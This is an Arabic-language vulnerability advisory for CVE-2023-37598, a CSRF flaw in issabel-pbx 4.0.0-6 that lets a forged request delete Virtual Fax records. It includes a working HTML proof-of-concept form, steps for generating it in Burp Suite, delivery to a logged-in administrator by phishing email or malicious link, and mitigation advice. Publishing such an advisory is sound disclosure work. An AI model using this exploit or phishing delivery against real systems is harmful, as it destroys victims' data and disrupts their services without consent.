
توجد ثغرة أمنية من نوع تزوير الطلبات عبر المواقع (CSRF) في issabel-pbx v4.0.0-6 ضمن وظيفة إدارة الفاكس الافتراضي (Virtual Fax).
معرّف CVE: CVE-2023-37598
نوع الثغرة: تزوير الطلبات عبر المواقع (CSRF)
المنتج المتأثر: issabel-pbx v4.0.0-6
الخطورة: متوسطة
اكتشفها: Sahil Ojha
تاريخ الإفصاح: 10/07/2023
الصفحة الرئيسية للمورد: https://www.issabel.org/
مستودع البرنامج: https://github.com/IssabelFoundation/issabelPBX
تم الاختبار على: Windows
توجد ثغرة أمنية من نوع تزوير الطلبات عبر المواقع (CSRF) في issabel-pbx v4.0.0-6 ضمن وظيفة إدارة الفاكس الافتراضي (Virtual Fax). لا يطبّق التطبيق أي حماية ضد CSRF (مثل رموز مكافحة CSRF أو خصائص ملفات تعريف الارتباط SameSite) على إجراء الحذف لإدخالات الفاكس الافتراضي.
يتيح ذلك لمهاجم بعيد غير مصادَق إنشاء صفحة HTML خبيثة — عند زيارتها من قبل مسؤول أو مستخدم مصادَق — تُرسل بصمت طلب HTTP مزوَّرًا إلى التطبيق نيابةً عن الضحية. يتسبب الطلب المزوَّر في حذف سجلات الفاكس الافتراضي دون علم الضحية أو موافقتها، مما يؤدي إلى فقدان البيانات وتعطيل خدمات الفاكس.
تزوير الطلبات عبر المواقع (CSRF) هو هجوم يخدع متصفح الضحية لإرسال طلب مصادَق إلى تطبيق ويب دون قصد من المستخدم. نظرًا لأن المتصفح يضمّن تلقائيًا ملفات تعريف الارتباط الخاصة بالجلسة مع كل طلب، لا يمكن للخادم التمييز بين الطلب الشرعي والطلب المزوَّر عند عدم وجود رمز CSRF.
| المعامل | القيمة |
|---|---|
| التطبيق | issabel-pbx |
| الإصدار | 4.0.0-6 |
| الرابط المعرض للخطر | /index.php?menu=faxnew&action=view&id=<ID> |
| الإجراء المعرض للخطر | delete (معامل POST) |
| الحماية المفقودة | رمز CSRF / خاصية SameSite لملفات تعريف الارتباط |
ملف HTML التالي، عند فتحه بواسطة مستخدم issabel-pbx مصادَق، سيرسل تلقائيًا طلب POST مزوَّرًا يحذف الفاكس الافتراضي الذي يحمل id_fax=1.
الملف: CSRF exploit.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_fax" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
ملاحظة: استبدل
{Issabel IP}بعنوان IP الخاص بالخادم المستهدف أو اسم المضيف. يمكن تغيير قيمةid_faxلاستهداف أي سجل فاكس افتراضي حسب معرفه.
سجّل الدخول إلى لوحة إدارة Issabel PBX وانتقل إلى صفحة الفاكس الافتراضي:
https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1

التقط طلب الحذف باستخدام بروكسي Burp Suite. جرّب حذف إدخال فاكس افتراضي، واعترض الطلب، وانقر بزر الماوس الأيمن عليه، ثم انتقل إلى Engagement Tools → Generate CSRF PoC.

احفظ استغلال CSRF المُنشأ كملف HTML (انظر PoC أعلاه).
سلّم الاستغلال إلى مستخدم مسجَّل دخوله بالفعل إلى تطبيق Issabel (على سبيل المثال، عبر بريد تصيّد أو رابط خبيث). عندما يفتح الضحية الصفحة وينقر على "Submit request"، سيتم حذف إدخال الفاكس الافتراضي دون أي تفاعل إضافي.


يستضيف المهاجم ملف HTML الخبيث على خادم خارجي أو يضمّنه في بريد إلكتروني. عندما يفتح مسؤول Issabel PBX مصادَق هذه الصفحة في نفس جلسة المتصفح، يرسل المتصفح تلقائيًا طلب POST المزوَّر — بما في ذلك ملف تعريف ارتباط الجلسة الصالح — إلى خادم Issabel. يعالج الخادم الطلب على أنه شرعي، ويحذف سجل الفاكس الافتراضي المستهدف. لا تتلقى الضحية أي تحذير وقد لا تلاحظ الحذف حتى تفحص قائمة الفاكس يدويًا.
لمعالجة هذه الثغرة، يجب على المورد تنفيذ أحد الإجراءات التخفيفية التالية أو أكثر:
SameSite=Strict أو SameSite=Lax لمنع المتصفح من إرساله مع الطلبات عبر المواقع.X-Requested-With: XMLHttpRequest) لجميع العمليات الحساسة، والتحقق منها على جانب الخادم.